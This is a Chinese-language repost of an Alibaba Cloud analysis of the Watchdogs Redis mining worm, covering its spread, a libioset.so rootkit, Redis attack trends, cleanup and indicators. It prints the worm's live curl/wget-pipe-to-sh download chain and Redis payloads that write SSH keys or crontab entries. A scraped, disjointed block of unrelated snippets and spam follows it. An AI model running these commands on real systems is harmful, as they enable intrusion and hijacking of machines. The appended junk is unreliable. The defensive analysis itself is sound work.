Watchdogs利用Redis實施大規模挖礦,常見資料庫蠕蟲如何破?
背景
2月20日17時許,阿里雲安全監測到一起大規模挖礦事件,判斷為Watchdogs蠕蟲導致,並在第一時間進行了應急處置。
該蠕蟲短時間內即造成大量Linux主機淪陷,一方面是利用Redis未授權訪問和弱密碼這兩種常見的配置問題進行傳播,另一方面從known_hosts檔案讀取ip列表,用於登入信任該主機的其他主機。這兩種傳播手段都不是第一次用於蠕蟲,但結合在一起爆發出巨大的威力。
然而Watchdogs並不是第一個造成這般影響的Redis蠕蟲。截至目前,Redis配置問題已慘遭40餘種蠕蟲攻擊和利用;此外,其他種類資料庫的配置問題,也難保不在將來成為黑客的目標。
因此,本文在分析此次Watchdogs挖礦蠕蟲、提供清理建議的同時,也分析了資料庫蠕蟲的發展趨勢,並針對類似的大規模入侵事件的應急和預防給出建議。
Watchdogs 挖礦蠕蟲簡介
該蠕蟲的感染路徑如下圖所示。
蠕蟲傳播方式
攻擊者首先掃描存在未授權訪問或弱密碼的Redis,並控制相應主機去請求以下地址:
https://pastebin.com/raw/sByq0rym
該地址包含的命令是請求、base64解碼並執行另一個url地址的內容:
(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh
而https://pastebin.com/raw/D8E71JBJ 的內容解碼後為一個bash指令碼,指令碼中又包含下載惡意程式Watchdogs的指令。
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
如上圖所示,本次蠕蟲的橫向傳播分為兩塊。
一是Bash指令碼包含的如下內容,會直接讀取主機上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub檔案,用於登入信任當前主機的機器,並控制這些機器執行惡意指令。
二是Bash指令碼下載的Watchdogs程式,通過對Redis的未授權訪問和爆破、以及對SSH的爆破,進行橫向傳播。
具體為表現為,Watchdogs程式的Bbgo()函式中,首先獲取要攻擊的ip列表
隨後嘗試登入其他主機的ssh服務,一旦登入成功則執行惡意指令碼下載命令
在Ago()函式中,則表現為針對其他主機Redis的掃描和攻擊。
惡意Bash指令碼
除了下載Watchdogs程式和橫向傳播外,Bash指令碼還具有以下幾項功能
1.將下載自身的指令新增到crontab定時任務,10分鐘執行一次
2.殺死同類的挖礦殭屍木馬程序
殺死cpu佔用大於80%的其他程序
簡而言之,bash指令碼主要是完成惡意程式植入、持久化和一部分的橫向傳播功能。
Watchdogs分析
Watchdogs程式為elf可執行檔案,由go語言編譯,其主要函式結構如下圖所示。
1.LibiosetWrite()
該函式主要執行libioset.so檔案的寫入
2.Cron()
將惡意下載命令新增到/etc/cron.d/root等多個檔案中,定時執行,加大清理難度
3.KsoftirqdsWriteRun()
解壓並寫入挖礦程式及其配置檔案
Bbgo()和Ago()函式的功能在“蠕蟲傳播方式”一節已有介紹,此處不再贅述。
綜上,Watchdogs程式在Bash指令碼執行的基礎上,將進一步進行挖礦程式的釋放和執行、惡意so檔案寫入以及剩餘的橫向傳播。
libioset.so分析
如圖是libioset.so的匯出函式表,包括unlink, rmdir, readdir等。
這裡以執行rm命令必須呼叫的unlink()函式為例。
它只對不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"這幾個字串的檔案呼叫正常的unlink(),導致幾個檔案無法被正常刪除。
其他幾個命令,如readdir也是類似,無法正常返回關於惡意程式的結果。
而fopen函式更是變本加厲,由於系統查詢cpu使用情況和端口占用情況時,都會呼叫fopen,於是攻擊者hook了這一函式,使其在讀取'/proc/stat'和'/proc/net/tcp'等檔案時,呼叫偽造函式
其中forge_proc_cpu()函式,將返回硬編碼的字串
這種對檢視系統狀態功能的惡意hook,導致使用者難以通過簡單自查,確定挖礦是否存在以及挖礦程序是哪個。
“許多黑客模仿我的程式碼”——資料庫蠕蟲趨勢統計
此次的Watchdogs挖礦蠕蟲與18年出現的kworkerd蠕蟲出自同一位作者(關於kworkerd挖礦僵屍網路參見《2018年雲上挖礦分析報告》),因為它們使用了相同的錢包地址和相似的攻擊手法。此外作者在惡意指令碼末尾的註釋也印證了這點:
#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...
這段註釋同時也揭露了一個事實,“許多黑客模仿我的程式碼”——當一個攻擊者採取了某種攻擊手法並取得成功,其他攻擊者會紛紛模仿,很快將該手段加入自己的“攻擊大禮包”。
這種模仿的結果是,據阿里雲安全不完全統計,利用Redis未授權訪問等問題進行攻擊的蠕蟲,數量已從2018年中的一個,上漲到如今的40餘個,其中不乏DDG、8220這樣臭名昭著的挖礦團伙。此外大部分近期新出現的蠕蟲,都會加上Redis利用模組,因為實踐證明網際網路上錯誤配置的Redis資料庫數量龐大,能從其中分一杯羹,攻擊者的盈利就能有很大的提升。
因而如果不保護好Redis,使用者面臨的將不是一個蠕蟲,而是40餘個蠕蟲此起彼伏的攻擊。
下圖所示為近半年來,針對Redis的攻擊流量和目標機器數量趨勢,從中不難看出Redis攻擊逐漸被各大僵屍網路採用,並在2018年10月11月保持非常高的攻擊量;而後在經歷了3個月左右的沉寂期後,在今年2月再次爆發。
而Redis本身遭受攻擊的主流方法也經過了三個階段
1.攻擊者對存在未授權訪問的Redis伺服器寫入ssh key,從而可以暢通無阻登入ssh服務
具體為執行以下payload
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save
其中【sshkey】表示攻擊者的金鑰
2.攻擊者對存在未授權訪問的Redis伺服器寫入crontab檔案,定時執行惡意操作
具體為執行以下payload
config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save
其中【evil command】表示定時執行的惡意命令
3.以上兩個階段中僅對Redis完全沒有驗證即可訪問的情況,第三個階段則開始針對設定了密碼驗證,但密碼較弱的Redis進行攻擊,受害範圍進一步擴大。
然而Redis並不是唯一一個受到黑客“青眼”的資料庫。如下表所示,SQL Server, Mysql, Mongodb這些常用資料庫的安全問題,也被多個挖礦僵屍網路所利用;利用方式集中在未授權訪問、密碼爆破和漏洞利用。
Watchdogs入侵修復及清理方法
1.首先停止cron服務,避免因其不斷執行而導致惡意檔案反覆下載執行。
如果作業系統可以使用service命令,則執行
service crond stop
如果沒有service命令,執行
/etc/init.d/cron stop
2.隨後使用busybox刪除以下兩個so檔案:
sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig
busybox是一個小巧的unix工具集,許多Linux系統裝機時已整合。使用它進行刪除是因為系統自帶的rm命令需要進行動態so庫呼叫,而so庫被惡意hook了,無法進行正常刪除;而busybox的rm是靜態編譯的,無需呼叫so檔案,所以不受影響。
3.清理惡意程序
sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`
4.清理cron相關檔案,重啟服務,具體為檢查以下檔案並清除其中的惡意指令:
/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root
之後執行
service crond start
或
/etc/init.d/cron start
安全建議
數字加密貨幣的獲取依賴計算資源的特質,催生了黑客進行大規模入侵的動機和土壤;類似Watchdogs蠕蟲這樣的資料庫入侵事件,不是第一起,也不會是最後一起。阿里雲作為“編寫時即考慮安全性”的平臺,提供良好的安全基礎設施和豐富的安全產品,幫助使用者抵禦挖礦和入侵,同時提供以下安全建議:
1.在入侵發生之前,加強資料庫服務的密碼,儘量不將資料庫服務開放在網際網路上,或根據實際情況進行訪問控制(ACL)。這些措施能夠幫助有效預防挖礦、勒索等攻擊。平時還要注意備份資料,重視安全產品告警。
2.如果懷疑主機已被入侵挖礦,對於自身懂安全的使用者,在攻擊者手段較簡單的情況下,可以通過自查cpu使用情況、執行程序、定時任務等方式,鎖定入侵源頭。
3.對於攻擊者採用較多隱藏手段的攻擊(如本次的Watchdogs蠕蟲,使ps、top等系統命令失效),建議使用阿里雲安全的下一代雲防火牆產品,其阻斷惡意外聯、能夠配置智慧策略的功能,能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隱藏手段再高明,下載、挖礦、反彈shell這些操作,都需要進行惡意外聯;雲防火牆的攔截將徹底阻斷攻擊鏈。此外,使用者還可以通過自定義策略,直接遮蔽pastebin.com、thrysi.com等廣泛被挖礦蠕蟲利用的網站,達到阻斷入侵的目的。
如圖是雲防火牆幫助使用者攔截此次Watchdogs蠕蟲下載的例子,圖中共攔截23次對pastebin.com的請求;這些攔截導致主機未下載惡意指令碼,從而就不會發起對thrysi.com的請求,故規則命中次數為0。
以上截圖表明Watchdogs的攻擊鏈未能執行到下一步,攔截起到了很好的效果。
4.對於有更高定製化要求的使用者,可以考慮使用阿里雲安全管家服務。購買服務後將有經驗豐富的安全專家提供諮詢服務,定製適合您的方案,幫助加固系統,預防入侵。入侵事件發生後,也可介入直接協助入侵後的清理、事件溯源等,適合有較高安全需求的使用者,或未僱傭安全工程師,但希望保障系統安全的企業。
IOC
錢包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava
礦池地址
xmr.f2pool.com
惡意url
pastebin.com/raw/sByq0rym
thyrsi.com/t6/672/1550667515x1822611209.jpg
惡意檔案
開發十年,就只剩下這套架構體系了!
>>>
which 入侵 發現 att 找到 服務器ip sent tin fig top 看到一個bashd的進程占據了cpu
ps aux |grep bashd
cd /tmp 發現ddg.2011 的文件。root dump.rdb
在/root/.ssh 也有奇怪的文
浪費了“黃金五年”的Java程式設計師,還有救嗎?
>>>
遍布 加密算法 算法 展望 運行 網絡 工程 要求 區塊 阿裏妹導讀:h5三公源碼一條龍(h5.hxforum.com)企鵝2952777280 源碼出售 房卡出售 後臺出租當阿裏技術遇見區塊鏈,會碰撞出什麽火花呢?天貓進出口技術團隊運用區塊鏈技術,讓每一個進口商品都有了唯 加速 信用 信息 是什麽 復制。 必須 需求 進入 基於 昨天,網易上線了一款名為“星球”的區塊鏈產品,目前正在內測中,內測期間,用戶需要通過老用戶邀請方能註冊,新用戶註冊後可領取數字資產“黑鉆”。
看下面的文字之前,建議先看關於公信寶的稿子。標題為《公信寶PK李笑來Can 挖礦 svchost xmrig wmixml.dat 運氣好得不得了,又被挖礦了,而且這次完全沒有頭緒。簡單說下目前掌握的信息。1.父進程是svchost.exe -k netsvcs。父進程svchost啟動的挖礦進程是svchost.exe。指向的地址是http://91.121.2.7 term shadow 新節點 圖片 技術分享 mar blog adb type T9——創新節點挖礦,共建社群生態 1.雲主機被拿去挖礦,cpu暴漲,tcp連線突增
2.現象:top -c
3.然後我再檢視pstree程序樹
4.查詢檔案來源
ind / -name '*suppoie*'
5.
然後刪除 suppoie , supsplk,config.json 檔案
然後過了一會suppo
1.現象
開啟yarn的8088介面,根本無法檢視,因為任務數1873個,根本無法顯示,自己表示崩潰。
然後,重啟hdfs和yarn服務,發現mr任務依舊在增長,由dr.who建立執行,但是自己從沒有執行這個任務。真的很崩潰。
2.原因:
經過網上多番查詢,知道這個是由於
雲挖礦雖然不用買礦機,但利潤少,採礦不透明,缺乏控制力,靠譜嗎?虛擬挖礦開發聯絡作者
如果你想挖礦而又不想買礦機,那麼還有一種選擇,那就是雲挖礦。
目前雲挖礦有三種類型,一是租用供應商的礦機,並將其託管;二是建立虛擬專用伺服器並安裝挖礦軟體;三是直接購買在遠端資料中心產生的算力。
阿里妹導讀:當阿里技術遇見區塊鏈,會碰撞出什麼火花呢?天貓進出口技術團隊運用區塊鏈技術,讓每一個進口商品都有了唯一的“身份證”。
背景
全球溯源計劃已成為天貓國際現階段著重開展實行的戰略性方針,其主要是通過區塊鏈、藥監碼等技術,運用大資料跟蹤進口商品全鏈路,實現
2018年9月26日10:30,星客與鏈人在中國重慶的星客大會議室共同進行並完成了E鑽【ET】上市敲鐘儀式,在一片歡呼聲中,鏈人E鑽【ET】成功上市。2018年9月26日14:00,鏈人E鑽【ET】正式上線星客交易所,並同時開啟ET/USDT交易對,也就意味著鏈人E鑽【ET】已經全面開啟了自
今年簡單就是區塊鏈爆發的一年,每天開啟媒體資訊都會看到各式的區塊鏈產品出現在你的面前。而且有好多粉絲諮詢我區塊鏈產品的問題,我都是以私人回覆的形式回答的。
既然這麼多人追捧對區塊鏈感興趣,今天就單獨用一
Bminer於北京時間01-09日釋出11.4.0
試驗性支援AMD挖Beam
這是Bminer首次支援AMD卡功能。期待各位使用者反饋。
Beam挖礦教程:
下方是用Bminer挖Beam的步驟,您需要在案例的基礎上,對下面的欄位做出調整:
用您的錢
問題:
在對 mysql 查詢結果快取時,我一直都有這樣的疑惑。那就是當更新一條記錄或者刪除一條記錄時候,那麼對應的主鍵所有的查詢結果必須同時更新,那麼在就是說在
update table set field = value where id = XXX
IPFS一直被稱為取代HTTP的下一代網際網路,具體優化解決了什麼問題?1.IPFS讓網際網路變得不再中心化,而是去中心化,讓儲存分佈在所有的節點上面,讓網路從所有的節點上面去下載。它能夠給我們節省60%的頻寬,這是什麼概念? IPFS共享了所有的頻寬,它的共享來自於什麼地方
問題:CPU一直100%,top看不到程序,無從下手,阿里雲無限報異常檔案下載,以及linux共享庫預載入配置檔案被篡改。
經百度,到解決辦法:
根據文件處理redis安全解決了,如果文件失效,已經儲存下來。
【資料猿導讀】 ICO是Initial CoinOffering縮寫,意為首次幣發行,源自股票市
比特幣是一個分散式的點對點網路系統。因此沒有“中央”伺服器,也沒有中央發行機構。
進入2017年,以比特幣、以太坊為首的數字貨幣是徹徹底底地火了。原因無他,就是幣價暴漲。
在這樣的一個大背景下,一個叫做“礦工”的群體也逐漸走入了我們的視線。作為數字貨幣的挖掘者,“礦工”到底是怎樣的一個群體呢?近日就有一位程式設計師因為利用公司伺服器挖礦,而被舉報了。
相關推薦
Watchdogs利用Redis實施大規模挖礦,常見資料庫蠕蟲如何破?
利用redis 漏洞入侵挖礦臨時解決辦法
威脅快報|首爆新型ibus蠕蟲,利用熱門漏洞瘋狂挖礦牟利
h5三公源碼一條龍別人在忙挖礦,阿裏工程師卻悄悄用區塊鏈搞了件大事!
網易星球手機挖礦,仿公信寶不要太明顯!偽區塊鏈搜集用戶隱私?
又被挖礦,求解決方案
T9——創新節點挖礦,共建社群生態
雲主機被拿去挖礦,cpu暴漲,tcp連線突增
【黑客】yarn:8088介面,任務太多,顯示不出來。被挖礦,第一次體驗到黑客的力量
沒有礦機也可以挖礦,雲挖礦到底靠譜不靠譜?
別人在忙挖礦,阿里工程師卻悄悄用區塊鏈搞了件大事!
鏈人「ET」上市,閱讀即挖礦,深受數萬企業青睞
懂了區塊鏈再去挖礦,一張圖讓你看明白怎麼回事
Bminer首次支援A卡挖礦,本次支援Beam的AMD顯示卡挖礦
利用redis快取mysql查詢結果,關於快取命名
IPFS 怎麼挖礦,IPFS入門筆記
記一次因為redis漏洞被挖礦
投資區塊鏈別隻知道“挖礦”,這裡還有5個值得投資的領域
比特幣挖礦,到底是怎麼一回事回事?
程式設計師利用公司伺服器挖礦被舉報,網友:和刪庫的哥們有的一比